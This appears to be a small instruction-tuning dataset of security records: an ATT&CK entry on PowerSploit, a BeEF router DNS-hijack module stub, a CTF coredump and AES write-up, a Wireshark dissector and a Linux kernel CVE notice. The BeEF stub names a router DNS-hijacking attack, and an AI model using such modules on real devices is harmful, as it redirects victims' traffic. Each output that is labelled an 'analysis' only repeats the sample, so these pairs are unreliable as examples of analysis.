- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nATT&CK ID:S0194\nATT&CK Technique Name:PowerSploit\nPowerSploit contains a collection of Privesc-PowerUp modules that can discover and exploit unquoted path vulnerabilities.[6][7]", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的代码", "input": "", "output": "安全代码分析：\n\n#\n# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - http://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Shuttle_tech_915wm_dns_hijack < BeEF::Core::Command\n def self.options\n [\n { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' },\n { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' },\n { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' }\n ]\n end\n\n def post_execute\n save({ 'result' => @datastore['result'] })\n end\nend", "category": "security_code_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Crawling Code Creature (re/for)\nThis was marked as Reverse challenge, but we solved it like a forensics problem.\nIn the task we get a coredump of python process.\nWe tried loading this into gdb, but with not much luck.\nThe symbols didn't match and we couldn't really navigate much over what we had.\nAs a result we decided to use classic tools like `vi, grep, regex, strings`.\nGoing over the strings in the file we noticed a couple of things.\nThe user was sending http requests to some application running on localhost with:\n```\nr1 = requests.get('http://localhost:5000/message')\n```\nand\n```\nr2 = requests.get('http://localhost:5000/key')\n```\nThere was also `from Crypto.Cipher import AES` which would suggest that something is encrypted with AES.\nFinally we also found some interesting long hex-encoded strings, which were not coming from the documentation:\n`f0623892bc68e01d3206407fa3a84a2bf0d68d57dc3b97a31b1952a8227348a9`\nand \n`f8fa35b181005f76b9eb1f867dd85ea35d4049db6e24cc92b15bbc2abed1d7b0afc8238afd7a2f7384e4becff92ce9fc`\nFirst one is 32 bytes long, so could be AES key, the other one could then be a ciphertext.\n```python\nfrom Crypto.Cipher import AES\ndef main():\n key = 'f0623892bc68e01d3206407fa3a84a2bf0d68d57dc3b97a31b1952a8227348a9'.decode(\"hex\")\n msg = 'f8fa35b181005f76b9eb1f867dd85ea35d4049db6e24cc92b15bbc2abed1d7b0afc8238afd7a2f7384e4becff92ce9fc'.decode(\"hex\")\n encrypt = AES.new(key, AES.MODE_ECB, '\\0' * 16)\n decrypted = encrypt.decrypt(msg)\n print(decrypted)\nmain()\n```\nWhich gives us `midnight{c4n_you_r3v1ve_4_d34d_snek}`", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的代码", "input": "", "output": "安全代码分析：\n\n/* packet-crmf.c\n * Routines for RFC2511 Certificate Request Message Format packet dissection\n * Ronnie Sahlberg 2004\n *\n * Wireshark - Network traffic analyzer\n * By Gerald Combs <gerald@wireshark.org>\n * Copyright 1998 Gerald Combs\n *\n * SPDX-License-Identifier: GPL-2.0-or-later\n */\n\n#include \"config.h\"\n\n#include <epan/packet.h>\n#include <epan/oids.h>\n#include <epan/asn1.h>\n\n#include \"packet-ber.h\"\n#include \"packet-crmf.h\"\n#include \"packet-cms.h\"\n#include \"packet-pkix1explicit.h\"\n#include \"packet-pkix1implicit.h\"\n\n#define PNAME \"Certificate Request Message Format\"\n#define PSNAME \"CRMF\"\n#define PFNAME \"crmf\"\n\nvoid proto_register_crmf(void);\nvoid proto_reg_handoff_crmf(void);\n\n/* Initialize the protocol and registered fields */\nstatic int proto_crmf = -1;\nstatic int hf_crmf_type_oid = -1;\n#include \"packet-crmf-hf.c\"\n\n/* Initialize the subtree pointers */\n#include \"packet-crmf-ett.c\"\n#include \"packet-crmf-fn.c\"\n\n\n/*--- proto_register_crmf ----------------------------------------------*/\nvoid proto_register_crmf(void) {\n\n /* List of fields */\n static hf_register_info hf[] = {\n { &hf_crmf_type_oid,\n { \"Type\", \"crmf.type.oid\",\n FT_STRING, BASE_NONE, NULL, 0,\n \"Type of AttributeTypeAndValue\", HFILL }},\n#include \"packet-crmf-hfarr.c\"\n };\n\n /* List of subtrees */\n static gint *ett[] = {\n#include \"packet-crmf-ettarr.c\"\n };\n\n /* Register protocol */\n proto_crmf = proto_register_protocol(PNAME, PSNAME, PFNAME);\n\n /* Register fields and subtrees */\n proto_register_field_array(proto_crmf, hf, array_length(hf));\n proto_register_subtree_array(ett, array_length(ett));\n\n}\n\n\n/*--- proto_reg_handoff_crmf -------------------------------------------*/\nvoid proto_reg_handoff_crmf(void) {\n\toid_add_from_string(\"id-pkip\",\"1.3.6.1.5.5.7.5\");\n\toid_add_from_string(\"id-regCtrl\",\"1.3.6.1.5.5.7.5.1\");\n\toid_add_from_string(\"id-regInfo\",\"1.3.6.1.5.5.7.5.2\");\n#include \"packet-crmf-dis-tab.c\"\n}", "category": "security_code_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCVE:CVE-2022-1195\nCNNVD:CNNVD-202204-3034\nLinux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。\nLinux kernel 中存在资源管理错误漏洞。该漏洞源于drivers/net/hamradio 中发现了一个释放后重用漏洞。 具有用户权限的本地攻击者在分离 mkiss 或 Sixpack 设备并提前回收资源时导致拒绝服务 (DOS)。\nsolution:Upgrade linux linux_kernel to a higher version than 5.16,5.16,and avoid the version (,5.16),5.16; Upgrade debian debian_linux to a higher version than 10.0,11.0,and avoid the version 10.0,11.0", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
|
